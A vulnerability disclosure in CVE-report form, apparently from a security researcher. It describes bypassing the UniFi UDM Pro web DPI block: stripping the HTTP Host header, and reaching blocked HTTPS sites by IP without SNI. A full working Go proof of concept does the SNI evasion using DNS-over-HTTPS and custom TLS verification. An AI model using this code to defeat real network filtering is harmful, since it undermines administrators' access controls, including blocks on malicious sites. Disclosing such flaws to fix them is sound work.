Bypass ubnt&unifi&ubiquiti UDM PRO Network DPI block WebSite

[f1veT]

[Suggested description]
This problem can make the administrator's protection against website restrictions, such as mining viruses, fail.
TEST：UDM pro
Web：7.2.95.0
Softversion：7.2.95

[Vulnerability Type]
incorrect access control

[Vendor of Product]
Unifi

[Affected Product Code Base]
unifi <= 7.2.95.0

[Affected Component]
Web DPI

[Attack Type]
Remote

[Impact Denial of Service]
true

[Impact Escalation of Privileges]
true

[Attack Vectors]
Describe the type of issue with as much detail as possible:
Network Open DPI Limit function ，Rule ：Web services / Baidu。
bypass HTTP & HTTPS block
What are all the steps required to reproduce the issue (also include the name of tools/scripts necessary to reproduce the issue)?
1、Set Block Rule

2、test for curl

Bypass HTTP
3、UDM PRO DPI only check host。We can remove header in host。

Bypass HTTPS
4、That check SNI Vul = www.baidu.com We change IP Send Get data pack.

wirshark:

package main

import (
    "crypto/tls"
    "crypto/x509"
    "fmt"
    "io/ioutil"
    "net"
    "net/http"
    "strings"
    "time"

    "github.com/tidwall/gjson"
)

func main() {

    domainapi := "https://1.1.1.1/dns-query?name=www.baidu.com"
    client2 := &http.Client{}
    req2, err := http.NewRequest("GET", domainapi, strings.NewReader(""))
    if err != nil {
        // handle error
    }

    req2.Header.Set("accept", "application/dns-json")

    resp2, err := client2.Do(req2)

    defer resp2.Body.Close()

    body2, err := ioutil.ReadAll(resp2.Body)
    if err != nil {
        // handle error
    }

    fmt.Println(string(body2))
    ipp := gjson.Get(string(body2), "Answer")
    ipp = gjson.Get(ipp.Array()[2].String(), "data")
    url := "https://" + ipp.String() + "/"
    //url := "https://www.cnblogs.com"
    hostname := "baidu.com"

    sni := false

    var serverName string
    if sni {
        serverName = hostname
    } else {
        // disable sending the ServerName by using an IP
        // see tls.Config.ServerName
        serverName = ipp.String()
    }

    client := &http.Client{
        // adapted from http.DefaultTransport
        Transport: &http.Transport{
            Proxy: http.ProxyFromEnvironment,
            DialContext: (&net.Dialer{
                Timeout:   30 * time.Second,
                KeepAlive: 30 * time.Second,
                DualStack: true,
            }).DialContext,
            ForceAttemptHTTP2:     true,
            MaxIdleConns:          100,
            IdleConnTimeout:       90 * time.Second,
            TLSHandshakeTimeout:   10 * time.Second,
            ExpectContinueTimeout: 1 * time.Second,
            TLSClientConfig: &tls.Config{
                ServerName: serverName,
                // bypass Go standard verification to use our own below (VerifyConnection)
                InsecureSkipVerify: true,
                VerifyConnection: func(cs tls.ConnectionState) error {
                    // adapted from the tls.Config.VerifyConnection example
                    // behaves just like the default verification,
                    // except for the overriden DNSName below
                    opts := x509.VerifyOptions{
                        // override the requested hostname with the server hostname
                        DNSName:       hostname,
                        Intermediates: x509.NewCertPool(),
                    }
                    for _, cert := range cs.PeerCertificates[1:] {
                        opts.Intermediates.AddCert(cert)
                    }
                    _, err := cs.PeerCertificates[0].Verify(opts)
                    return err
                },
            },
        },
    }
    resp, err := client.Post(url, "application/x-www-form-urlencoded", strings.NewReader(""))
    if err != nil {
        fmt.Println(err)
        // handle error

    }

    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)

    if err != nil {
        fmt.Println("error2")

        // handle error

    }

    fmt.Println(string(body))
    fmt.Println(ipp.String())
}

---

[Reference]

https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

https://attack.mitre.org/techniques/T1090/004/

---

[Discoverer]
admin@8sec.cc